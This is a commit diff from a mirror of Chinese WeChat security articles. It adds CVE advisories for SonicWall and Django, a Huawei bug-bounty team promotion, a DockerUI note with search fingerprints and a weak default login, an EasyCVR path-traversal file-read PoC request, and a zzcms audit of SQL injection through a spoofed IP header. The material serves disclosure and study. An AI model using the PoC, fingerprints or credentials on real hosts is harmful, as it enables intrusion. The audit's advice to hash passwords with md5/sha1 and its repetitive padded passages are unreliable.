mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
Spring漏洞测试与利用、赛克安全本周漏洞推送(12.2-12.6)、CVE-2024-45318|SonicWall SMA100 SSL-VPN缓冲区溢出漏洞、CVE-2024-53908|Django Oracle SQL注入漏洞、12月31日截止 | “看雪漏洞小组”集结!组团冲击华为漏洞更高奖励、「漏洞复现」EasyCVR-视频管理平台 taillog 任意文件读取漏洞、Docker0day,影响近4000台主机、记一次简单的代码审计项目案例、
This commit is contained in:
1 parent
3065fc6989
commit
52d69925f2
8 files changed
+839
-2
No files matched your search
@@ -1140,5 +1140,13 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247492906&idx=1&sn=bcccbff213bc1e74461cb25625f86307": "Windows 中存在严重0day,可导致用户凭据泄露",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4MTkwMTI5Mw==&mid=2247487942&idx=1&sn=15aa489d022ced042139dc1381fcafd4": "高质量企业+eduSRC漏洞挖掘实战资料分享",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247525456&idx=2&sn=36ccd1ade2da7b7093c538a25b09dc4a": "新的 Windows 零日漏洞暴露 NTLM 凭据,已获得非官方补丁",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMjIxNjExNg==&mid=2247485990&idx=1&sn=303f4ff26e9de1a67b30a91e4094d384": "支付类漏洞挖掘技巧总结"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMjIxNjExNg==&mid=2247485990&idx=1&sn=303f4ff26e9de1a67b30a91e4094d384": "支付类漏洞挖掘技巧总结",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247517561&idx=1&sn=54d4c087458711183eef2d5373e7dc33&chksm=ce5da718f92a2e0e8f53cf92d03de7e78076267af9cfe8e6a0fc7d509811666fb6cb92d62ebe&scene=58&subscene=0": "Spring漏洞测试与利用",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487535&idx=1&sn=8de530d3ddedd7217a57c2e53b7b6be5": "赛克安全本周漏洞推送(12.2-12.6)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485721&idx=1&sn=aa1125a603acdb5b911e5e35ea92b93c": "CVE-2024-45318|SonicWall SMA100 SSL-VPN缓冲区溢出漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485721&idx=2&sn=33b93268432cff8257daa4d1e5239492": "CVE-2024-53908|Django Oracle SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458585581&idx=2&sn=93d80a7ee158f6ced9cf81c118db2390": "12月31日截止 | “看雪漏洞小组”集结!组团冲击华为漏洞更高奖励",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486259&idx=1&sn=dd51ca8df3aa1533144b975b9bec3086": "「漏洞复现」EasyCVR-视频管理平台 taillog 任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY0MzE2NQ==&mid=2247483958&idx=1&sn=bd8d4407a74e628e6eb222ab3b30070a": "Docker0day,影响近4000台主机",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyOTUxMzk2NQ==&mid=2247485642&idx=1&sn=afcc7c4a8330cefeed2195326b87685f": "记一次简单的代码审计项目案例"
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
# 12月31日截止 | “看雪漏洞小组”集结!组团冲击华为漏洞更高奖励
|
||||
小雪 看雪学苑 2024-12-07 10:00
|
||||
|
||||
**启动“看雪漏洞小组”,冲刺更高奖励!**
|
||||
|
||||
FIGHTING
|
||||
|
||||
活动期间(
|
||||
11月15日-12月31日)欢迎技术人员加入我们“看雪漏洞小组”,组团参与提交漏洞,实现更高收益!
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**组团挖洞!共同守护鸿蒙安全**
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
|
||||
**活动内容**
|
||||
|
||||
华为非常重视产品和业务安全,最近推出了一项安全奖励计划,旨在激励白帽子参与,共同维护鸿蒙系统的安全。
|
||||
基于华为现有方案,看雪深入解读后,
|
||||
决定组建**“看雪漏洞小组”**,助力白帽子冲击更高奖金。
|
||||
|
||||
|
||||
|
||||
**2**
|
||||
|
||||
|
||||
**活动时间**
|
||||
|
||||
活动时间:11月15日-12月31日
|
||||
|
||||
|
||||
|
||||
**3**
|
||||
|
||||
|
||||
**活动范围**
|
||||
|
||||
所有《华为终端安全漏洞奖励计划》、《华为终端IoT产品安全漏洞奖励计划》涉及的有效产品均在本次活动范围,详情请见官网:https://bugbounty.huawei.com
|
||||
|
||||
|
||||
|
||||
**4**
|
||||
|
||||
|
||||
**规则说明**
|
||||
|
||||
**【看雪漏洞小组】累计提交有效漏洞数量达到以下标准时,可享受额外奖励:**
|
||||
|
||||
|
||||
**【看雪漏洞小组】**
|
||||
**累计有效漏洞数 > 30个**
|
||||
|
||||
所有有效漏洞可在既有漏洞奖金基础上,额外
|
||||
上浮75%进行激励,
|
||||
所有成员都能拿到上浮75%!
|
||||
|
||||
|
||||
**【看雪漏洞小组】累计有效漏洞数 > 15个**
|
||||
|
||||
所有
|
||||
有效漏洞可在既有漏洞奖金基础上,额外
|
||||
上浮37.5%进行激励,
|
||||
所有成员都能拿到上浮37.5%!
|
||||
|
||||
|
||||
**【看雪漏洞小组】累计有效漏洞数 < 15个**
|
||||
|
||||
奖金按华为平台原有奖金规则分发,无额外上浮。
|
||||
|
||||
|
||||
|
||||
**5**
|
||||
|
||||
|
||||
**为什么要组团参加?**
|
||||
|
||||
**优势互补,资源共享**
|
||||
|
||||
团队合作不仅提升效率,还能让每位成员的专长得到充分发挥。技术、经验和资源的共享,将极大提高漏洞挖掘的深度与广度。
|
||||
|
||||
****
|
||||
**团队合力,收益翻倍**
|
||||
|
||||
团队协作能更快突破奖励门槛,实现收益最大化。通过加入“看雪漏洞小组”,
|
||||
让每位成员的努力都转化为共同收益,突破奖励门槛,共享额外奖金上浮带来的收益。
|
||||
|
||||
|
||||
举例说明:
|
||||
|
||||
例如单人在活动期内能提交5个有效漏洞,只可获得既有奖励;加入看雪漏洞小组可根据报名组队情况成团,团队有效漏洞数>30,团队所有有效漏洞数可在既有奖励基础上,获得上浮75%的奖励。
|
||||
|
||||
|
||||
*若您个人即可提交>30个,建议自行提交,可以直接获取上浮100%激励。
|
||||
|
||||
|
||||
|
||||
**6**
|
||||
|
||||
|
||||
**注意事项**
|
||||
|
||||
1. 参与本次活动即视同您已知悉并同意遵守《华为安全奖励计划用户协议》
|
||||
|
||||
2. 请注意本次活动的奖励计划范围
|
||||
|
||||
3. 漏洞奖金将在活动数据统计结束后发放
|
||||
|
||||
4. 活动最终解释权归华为安全奖励计划所有
|
||||
|
||||
|
||||

|
||||
|
||||
即日起欢迎广大技术人员加入“看雪漏洞小组”,
|
||||
与队友携手挖掘并提交漏洞,一起冲击更高奖励!
|
||||
|
||||
|
||||

|
||||
|
||||
**邮件报名参加看雪漏洞小组:[email protected]**
|
||||
|
||||
集结团队力量,提升挖掘效率与收益
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**球分享**
|
||||
|
||||

|
||||
|
||||
**球点赞**
|
||||
|
||||

|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
点击阅读原文查看更多
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
# CVE-2024-45318|SonicWall SMA100 SSL-VPN缓冲区溢出漏洞
|
||||
alicy 信安百科 2024-12-07 11:00
|
||||
|
||||
**0x00 前言**
|
||||
|
||||
|
||||
SonicWall 是全球知名的网络安全解决方案提供商,专注于防火墙、VPN、入侵防御等领域,其客户覆盖企业、服务提供商、电子商务、政府和教育机构等。
|
||||
|
||||
|
||||
SMA 100系列的Web应用程序防火墙(WAF)和数据泄露防护(DLP)功能(可选)可以避免基于协议和Web的攻击,帮助金融、医疗保健、电子商务及其他行业的企业实现OWASP Top 10和PCI合规性。
|
||||
|
||||
|
||||
通过SMA系列的安全虚拟助理,技术人员可以与运行Windows、Mac或Linux操作系统的用户远程协作。 通过安全虚拟访问,远程用户几乎可以随时随地安全地连接其无人值守的Windows计算机,从而提高工作效率和用户满意度。
|
||||
|
||||
|
||||
|
||||
**0x01 漏洞描述**
|
||||
|
||||
|
||||
SonicWall发布安全公告,修复了SonicWall SMA100 SSL-VPN中一个基于栈的缓冲区溢出漏洞,该漏洞存在于
|
||||
SonicWall SMA100 SSL-VPN
|
||||
|
||||
Web管理界面中,未经身份验证的远程攻击者可利用该漏洞触发缓冲区溢出并可能导致任意代码执行。
|
||||
|
||||
|
||||
|
||||
**0x02 CVE编号**
|
||||
|
||||
|
||||
CVE-2024-45318
|
||||
|
||||
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
```
|
||||
SMA 100系列 (SMA 200、210、400、410、500v) 版本<= 10.2.1.13-72sv
|
||||
```
|
||||
|
||||
|
||||
|
||||
**0x04 漏洞详情**
|
||||
|
||||
|
||||
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0018
|
||||
|
||||
|
||||
|
||||
**0x05 参考链接**
|
||||
|
||||
|
||||
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0018
|
||||
|
||||
|
||||
|
||||
|
||||
推荐阅读:
|
||||
|
||||
|
||||
[CVE-2024-42327|Zabbix SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485713&idx=1&sn=de263c85dbef17756b944853870cf207&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2024-48307|JeecgBoot SQL 注入漏洞(POC)](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485712&idx=1&sn=34d09311081e1ccdcc96464b3824f719&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2024-37383|Roundcube Webmail存储型XSS漏洞(POC)](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485685&idx=1&sn=838e54bc45cab050c38c37137d553fa1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
|
||||

|
||||
|
||||
!!!
|
||||
|
||||
|
||||
**本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。**
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
# CVE-2024-53908|Django Oracle SQL注入漏洞
|
||||
alicy 信安百科 2024-12-07 11:00
|
||||
|
||||
**0x00 前言**
|
||||
|
||||
|
||||
Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
|
||||
|
||||
|
||||
|
||||
**0x01 漏洞描述**
|
||||
|
||||
|
||||
Django应用使用Oracle数据库作为后端时,当Django应用中的django.db.models.fields.json.HasKey查找功能被直接用于Oracle数据库,并且其左侧参数(lhs)包含不受信任的数据时,可能会导致SQL注入攻击,攻击者可通过注入恶意SQL代码来攻击数据库,从而可能导致敏感数据泄露、数据篡改或数据库被恶意控制。
|
||||
|
||||
|
||||
|
||||
**0x02 CVE编号**
|
||||
|
||||
|
||||
CVE-2024-53908
|
||||
|
||||
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
```
|
||||
Django 5.1 < 5.1.4
|
||||
Django 5.0 < 5.0.10
|
||||
Django 4.2 < 4.2.17
|
||||
```
|
||||
|
||||
|
||||
|
||||
**0x04 漏洞详情**
|
||||
|
||||
|
||||
https://www.openwall.com/lists/oss-security/2024/12/04/3
|
||||
|
||||
|
||||
|
||||
**0x05 参考链接**
|
||||
|
||||
|
||||
https://www.djangoproject.com/weblog/2024/dec/04/security-releases/
|
||||
|
||||
|
||||
https://www.openwall.com/lists/oss-security/2024/12/04/3
|
||||
|
||||
|
||||
|
||||
|
||||
推荐阅读:
|
||||
|
||||
|
||||
[CVE-2024-48307|JeecgBoot SQL 注入漏洞(POC)](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485712&idx=1&sn=34d09311081e1ccdcc96464b3824f719&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2024-9264|Grafana SQL表达式允许远程代码执行(POC)](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485671&idx=2&sn=3c50f92d11faad65195774409be07b3b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2024-45519|Zimbra未授权远程命令执行漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485603&idx=1&sn=0aace150f7159772a5abf105139e2979&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
|
||||

|
||||
|
||||
!!!
|
||||
|
||||
|
||||
**本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。**
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# Docker0day,影响近4000台主机
|
||||
hongzh0 Hacking Group 0434 2024-12-07 07:06
|
||||
|
||||
文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任
|
||||
|
||||
|
||||
- 系统描述
|
||||
|
||||
|
||||
|
||||
DockerUI 是一个基于 Docker API 的开源 web 应用程序,它提供了大部分等同于 Docker 命令行的功能,主要用于容器和镜像的管理。
|
||||
|
||||

|
||||
|
||||
- 搜索语法:
|
||||
|
||||
|
||||
|
||||
- zoomeye:
|
||||
|
||||
|
||||
```
|
||||
iconhash="484370044e6b696ce8ea89122c3f8974"
|
||||
```
|
||||
|
||||
- quake:
|
||||
|
||||
|
||||
```
|
||||
favicon: "484370044e6b696ce8ea89122c3f8974"
|
||||
```
|
||||
|
||||
- 漏洞描述
|
||||
|
||||
弱口令一打一个准(
|
||||
|
||||
ginghan/123456
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
# 「漏洞复现」EasyCVR-视频管理平台 taillog 任意文件读取漏洞
|
||||
冷漠安全 冷漠安全 2024-12-07 09:53
|
||||
|
||||

|
||||
|
||||
0x01 免责声明
|
||||
|
||||
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
|
||||
|
||||
0x02
|
||||
|
||||
产品介绍
|
||||
|
||||
EasyCVR视频管理平台,作为TSINGSEE青犀视频旗下的一款重要产品,是一款功能强大的视频融合+AI智能分析网关平台。平台基于分布式、负载均衡等流媒体技术,提供广泛兼容、安全可靠、开放共享的视频综合服务。它支持多协议的设备视频接入、采集、AI智能检测、处理、分发、管理等服务,并具备轻量化接入、传输、处理与分发能力,可实现一站式视频融合共享管理。支持RTSP、RTMP、GB28181、GB35114、海康Ehome、大华SDK、海康SDK等多种协议的视频设备接入,兼容市面上几乎所有视频终端。
|
||||
|
||||
0x03
|
||||
|
||||
漏洞威胁
|
||||
|
||||
EasyCVR-视频管理平台 taillog 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
|
||||
|
||||
0x04
|
||||
|
||||
漏洞环境
|
||||
|
||||
FOFA:
|
||||
|
||||
```
|
||||
title="EasyCVR"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
0x05
|
||||
|
||||
漏洞复现
|
||||
|
||||
PoC
|
||||
```
|
||||
GET /taillog/oxsecl/..\easycvr.ini HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
0x06
|
||||
|
||||
批量脚本验证
|
||||
|
||||
Nuclei验证脚本已发布
|
||||
|
||||
知识星球:冷漠安全
|
||||
|
||||

|
||||
|
||||
|
||||
0x07
|
||||
|
||||
修复建议
|
||||
|
||||
关闭互联网暴露面或接口设置访问控制
|
||||
|
||||
升级至安全版本
|
||||
|
||||
0x08
|
||||
|
||||
加入我们
|
||||
|
||||
漏洞详情及批量检测POC工具请前往知识星球获取
|
||||
|
||||
知识星球:冷漠安全
|
||||
|
||||
交个朋友,限时优惠券:加入立减25
|
||||
|
||||
星球福利:每天更新最新漏洞POC、资料文献、内部工具等
|
||||
|
||||

|
||||
|
||||
|
||||
「星球介绍」:
|
||||
|
||||
本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。
|
||||
|
||||
本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。
|
||||
|
||||
本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。
|
||||
|
||||
|
||||
「星球服务」:
|
||||
|
||||
|
||||
加入星球,你会获得:
|
||||
|
||||
|
||||
♦ 批量验证漏洞POC脚本
|
||||
|
||||
|
||||
♦ 0day、1day分享
|
||||
|
||||
|
||||
♦ 汇集其它付费星球资源分享
|
||||
|
||||
|
||||
♦ 大量的红蓝对抗实战资源
|
||||
|
||||
|
||||
♦ 优秀的内部红蓝工具及插件
|
||||
|
||||
|
||||
♦ 综合类别优秀Wiki文库及漏洞库
|
||||
|
||||
|
||||
♦ 提问及技术交流
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,346 @@
|
||||
# 记一次简单的代码审计项目案例
|
||||
繁星01 安全君呀 2024-12-07 04:07
|
||||
|
||||
将
|
||||
安全君呀
|
||||
设为"星标
|
||||
⭐
|
||||
️"
|
||||
|
||||
第一时间收到文章更新
|
||||
|
||||
**声明: 安全君呀 公众号文章中的技术只做研究之用,禁止用来从事非法用途,如有使用文章中的技术从事非法活动,一切后果由使用者自负,与本公众号无关。**
|
||||
|
||||
文章声明:本篇文章内容部分选取网络,如有侵权,请告知删除。
|
||||
|
||||
|
||||
前言
|
||||
|
||||
代码审计,最重要的就是多读代码,对用户与网站交互的地方要特别注意。
|
||||
|
||||
在进行审计时,我们也可以使用一些审计工具来辅助我们进行工作,从而提高效率。下面,笔者将分享一次简单的代码审计项目的过程,与大家一起学习。这里,笔者使用 seay 源代码审计系统软件进行辅助工作。
|
||||
|
||||
### 1 审计流程
|
||||
|
||||
在进行源代码审计时,使用自动化工具如seay源代码审计系统软件可以大大提高效率,但同时也需要注意以下几点:
|
||||
1. **自动化工具的局限性**
|
||||
:自动化工具可以快速识别常见的安全漏洞,但它们可能无法识别所有的安全问题,尤其是那些需要上下文理解或更复杂逻辑分析的问题。
|
||||
|
||||
1. **人工验证的重要性**
|
||||
:自动化审计的结果需要人工进行验证,以确保准确性。即使报告指出存在漏洞,也需要开发者或审计人员根据报告中的详细信息进行确认。
|
||||
|
||||
1. **上下文分析**
|
||||
:有时候,代码片段在孤立的情况下看起来可能是不安全的,但在整体应用的上下文中可能是安全的。因此,需要对代码的上下文进行分析。
|
||||
|
||||
1. **代码审查**
|
||||
:对于报告中标记为可能存在漏洞的代码,应该进行详细的代码审查。这可能包括检查代码的逻辑、数据流、控制流等。
|
||||
|
||||
1. **安全最佳实践**
|
||||
:在审计过程中,应该参考安全编码的最佳实践和标准,以确保代码不仅没有明显的漏洞,而且遵循了行业安全标准。
|
||||
|
||||
1. **持续监控和更新**
|
||||
:安全是一个持续的过程,即使当前的审计没有发现问题,也需要定期更新审计工具和审计策略,以应对新出现的威胁。
|
||||
|
||||
1. **修复和测试**
|
||||
:一旦发现漏洞,应该立即修复,并进行彻底的测试以确保修复有效,并且没有引入新的问题。
|
||||
|
||||
1. **记录和报告**
|
||||
:所有的审计活动和发现的漏洞都应该被详细记录,并生成报告,以供未来的审计和改进参考。
|
||||
|
||||
通过结合自动化工具和人工审计,可以更有效地识别和修复源代码中的安全漏洞,提高软件的安全性。
|
||||
|
||||

|
||||
|
||||
在进行源代码审计时,
|
||||
全局定位搜索功能
|
||||
是提高审计效率的重要工具。
|
||||
1. **全局定位搜索功能**
|
||||
:
|
||||
- 使用全局定位搜索可以快速定位变量或函数在代码库中的位置。Seay源代码审计系统提供了这样的功能,允许用户通过关键词快速查找函数或变量,并列出所有匹配的文件和代码行。
|
||||
|
||||
|
||||
1. 使用全局定位搜索可以快速定位变量或函数在代码库中的位置。Seay源代码审计系统提供了这样的功能,允许用户通过关键词快速查找函数或变量,并列出所有匹配的文件和代码行。
|
||||
|
||||
1. **用户数据和数据库操作的安全注意事项**
|
||||
:
|
||||
- 对于用户输入的数据,必须进行严格的验证和清理,以防止SQL注入、XSS等攻击。应使用参数化查询来防止SQL注入,并遵循最小权限原则,确保数据库账户仅拥有完成其功能所必需的权限。
|
||||
|
||||
- 在处理用户数据和数据库操作时,应避免使用明文密码,而是使用单向哈希函数(如md5()和sha1())来设置密码。
|
||||
|
||||
- 应用程序与数据库的连接应使用一般的用户账号,并仅开放必要的权限,以减少安全风险。
|
||||
|
||||
- 在传递数据给数据库时,应检查数据的大小,并在各编程接口中使用特定的‘逃脱字符’函数,以防止恶意传入非法参数。
|
||||
|
||||
|
||||
1. 对于用户输入的数据,必须进行严格的验证和清理,以防止SQL注入、XSS等攻击。应使用参数化查询来防止SQL注入,并遵循最小权限原则,确保数据库账户仅拥有完成其功能所必需的权限。
|
||||
|
||||
1. 在处理用户数据和数据库操作时,应避免使用明文密码,而是使用单向哈希函数(如md5()和sha1())来设置密码。
|
||||
|
||||
1. 应用程序与数据库的连接应使用一般的用户账号,并仅开放必要的权限,以减少安全风险。
|
||||
|
||||
1. 在传递数据给数据库时,应检查数据的大小,并在各编程接口中使用特定的‘逃脱字符’函数,以防止恶意传入非法参数。
|
||||
|
||||
1. **代码审计的最佳实践**
|
||||
:
|
||||
- 确定审计的目的和范围,使用多种工具进行审计,并与开发团队合作,了解应用程序的设计和实现细节。
|
||||
|
||||
- 编写详细的审计报告,包括发现的漏洞和缺陷、影响程度和建议的修复措施,并及时修复这些问题。
|
||||
|
||||
|
||||
1. 确定审计的目的和范围,使用多种工具进行审计,并与开发团队合作,了解应用程序的设计和实现细节。
|
||||
|
||||
1. 编写详细的审计报告,包括发现的漏洞和缺陷、影响程度和建议的修复措施,并及时修复这些问题。
|
||||
|
||||
1. **自动化工具的局限性**
|
||||
:
|
||||
- 虽然自动化工具如Ansible在运维管理中扮演着重要角色,但它们也有局限性,如性能瓶颈和并行执行限制。
|
||||
|
||||
|
||||
1. 虽然自动化工具如Ansible在运维管理中扮演着重要角色,但它们也有局限性,如性能瓶颈和并行执行限制。
|
||||
|
||||
1. **人工验证的重要性**
|
||||
:
|
||||
- 自动化审计的结果需要人工进行验证,以确保准确性。即使报告指出存在漏洞,也需要开发者或审计人员根据报告中的详细信息进行确认。
|
||||
|
||||
|
||||
1. 自动化审计的结果需要人工进行验证,以确保准确性。即使报告指出存在漏洞,也需要开发者或审计人员根据报告中的详细信息进行确认。
|
||||
|
||||
通过结合这些专业性的扩充信息,可以更全面地理解源代码审计的过程,以及如何有效地利用全局定位搜索功能和注意事项来提高审计的效率和准确性。
|
||||
|
||||
sql 注入漏洞
|
||||
|
||||
首先,"/user/del.php"在它的初始部分通过包含指令引入了"/inc/conn.php"和"/user/check.php"这两个关键文件。这种模块化的文件包含策略是代码组织中常见的实践,它允许代码重用和功能分离,但同时也增加了代码依赖性和复杂性,这需要在审计过程中予以特别注意。
|
||||
|
||||
特别是"/inc/conn.php",它作为数据库连接的配置文件,进一步引入了其他几个文件,这些文件对于整个应用的运行至关重要。在这些文件中,"/inc/function.php"和"/inc/stopsqlin.php"尤其值得关注。
|
||||
|
||||
"/inc/function.php"包含了实现核心业务逻辑的函数库。这些函数可能涉及数据处理、用户认证、会话管理等关键操作。在审计这个文件时,需要确保所有的函数都遵循了安全编码的最佳实践,例如输入验证、适当的错误处理机制、以及对敏感数据的加密处理。此外,这些函数的实现应该避免潜在的安全漏洞,如不安全的反序列化、不恰当的异常处理等。
|
||||
|
||||
另一方面,"/inc/stopsqlin.php"专门设计用来防御SQL注入攻击。这个文件应该包含了一系列的安全措施,如参数化查询的实现、输入验证函数、以及可能的ORM(对象关系映射)框架的使用。审计时,需要验证这些防御措施是否被正确实施,并且是否覆盖了所有数据库交互点。此外,还应该检查是否有任何绕过这些安全措施的代码路径,以及是否有最新的安全补丁和更新。
|
||||
|
||||
|
||||
```
|
||||
# "/user/conn.php"文件
|
||||
// 引入配置文件,确保所有环境特定的配置都在此文件中定义
|
||||
require_once(CMS_ROOT_PATH."/inc/config.php");
|
||||
// 引入网站工具函数库
|
||||
require_once(CMS_ROOT_PATH."/inc/wjt.php");
|
||||
// 引入核心功能函数库
|
||||
require_once(CMS_ROOT_PATH."/inc/function.php");
|
||||
// 引入站点类库
|
||||
require_once(CMS_ROOT_PATH."/inc/zsclass.php");
|
||||
// 引入SQL注入防护库
|
||||
require_once(CMS_ROOT_PATH."/inc/stopsqlin.php");
|
||||
// 引入地区数据文件
|
||||
require_once(CMS_ROOT_PATH."/inc/area.php");
|
||||
// "/user/stopsqlin.php"文件
|
||||
/**
|
||||
* 对用户输入进行清理和转义,防止XSS攻击和SQL注入。
|
||||
*
|
||||
* @param mixed $input 用户输入的数据,可能是字符串或数组。
|
||||
* @return mixed 清理和转义后的数据。
|
||||
*/
|
||||
function clean_input($input){
|
||||
if(!is_array($input)){
|
||||
// 如果magic_quotes_gpc开启,则get_magic_quotes_gpc会返回true,此时输入已经自动添加了转义字符
|
||||
if(ini_get('magic_quotes_gpc')){
|
||||
return htmlspecialchars(trim($input));
|
||||
}else{
|
||||
// 对输入进行转义,防止SQL注入和XSS攻击
|
||||
return addslashes(htmlspecialchars(trim($input)));
|
||||
}
|
||||
}
|
||||
// 如果是数组,则递归清理每个元素
|
||||
foreach($input as $k => $v){
|
||||
$input[$k] = clean_input($v);
|
||||
}
|
||||
return $input;
|
||||
}
|
||||
// 清理REQUEST超全局数组中的所有数据
|
||||
if($_REQUEST){
|
||||
$_POST = clean_input($_POST);
|
||||
$_GET = clean_input($_GET);
|
||||
$_COOKIE = clean_input($_COOKIE);
|
||||
|
||||
// 将清理后的数据提取到当前符号表,以便直接使用变量名访问
|
||||
extract($_POST);
|
||||
extract($_GET);
|
||||
}
|
||||
/**
|
||||
* 检查并阻止SQL注入。
|
||||
*
|
||||
* @param string $str 需要检查的字符串。
|
||||
* @return string 检查后的字符串,如果包含非法字符则终止脚本执行。
|
||||
*/
|
||||
function check_sql_injection($str){
|
||||
$inj_data = "',/,\,<,>,";
|
||||
$inj_pattern = explode(",", $inj_data);
|
||||
|
||||
foreach($inj_pattern as $pattern){
|
||||
if(strpos($str, $pattern) !== false){
|
||||
// 如果发现非法字符,显示错误信息并终止脚本执行
|
||||
die("含有非法字符 [".$pattern."],请返回重新填写。");
|
||||
}
|
||||
}
|
||||
return $str; // 如果没有非法字符,返回原始字符串
|
||||
}
|
||||
```
|
||||
|
||||
我们来看一下"/user/check.php"函数是否存在可利用的地方,这个文件中有 5 处 SQL 语句查询,第一处,无法利用,因为首先参数经过 "/inc/stopsqlin.php" 消毒处理,且被单引号包裹,无法闭合。
|
||||
```
|
||||
# "/user/check.php"文件
|
||||
$username=nostr($_COOKIE["UserName"]);
|
||||
$rs=query("select id,usersf,lastlogintime from zzcms_user where
|
||||
lockuser=0 and username='".$username."' and
|
||||
password='".$_COOKIE["PassWord"]."'");$row=num_rows($rs);
|
||||
```
|
||||
|
||||
为了确保只有注册用户才能执行特定的SQL操作,我们需要在审计过程中特别关注SQL语句的执行流程。让我们逐一分析这些SQL语句,尤其是第二处的SQL语句。同时,
|
||||
我们也需要关注getip()
|
||||
函数的实现,因为它涉及到IP地址的获取,而这个IP地址可能被伪造,且在拼接SQL语句时没有进行适当的过滤,仅仅被单引号包裹。
|
||||
```
|
||||
# "/user/check.php"文件
|
||||
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE
|
||||
username='".$username."'");//更新最后登录 IP
|
||||
# "/inc/function.php"文件
|
||||
function getip(){
|
||||
if (getenv("HTTP_CLIENT_IP") &&
|
||||
strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
|
||||
$ip = getenv("HTTP_CLIENT_IP");
|
||||
else if (getenv("HTTP_X_FORWARDED_FOR") &&
|
||||
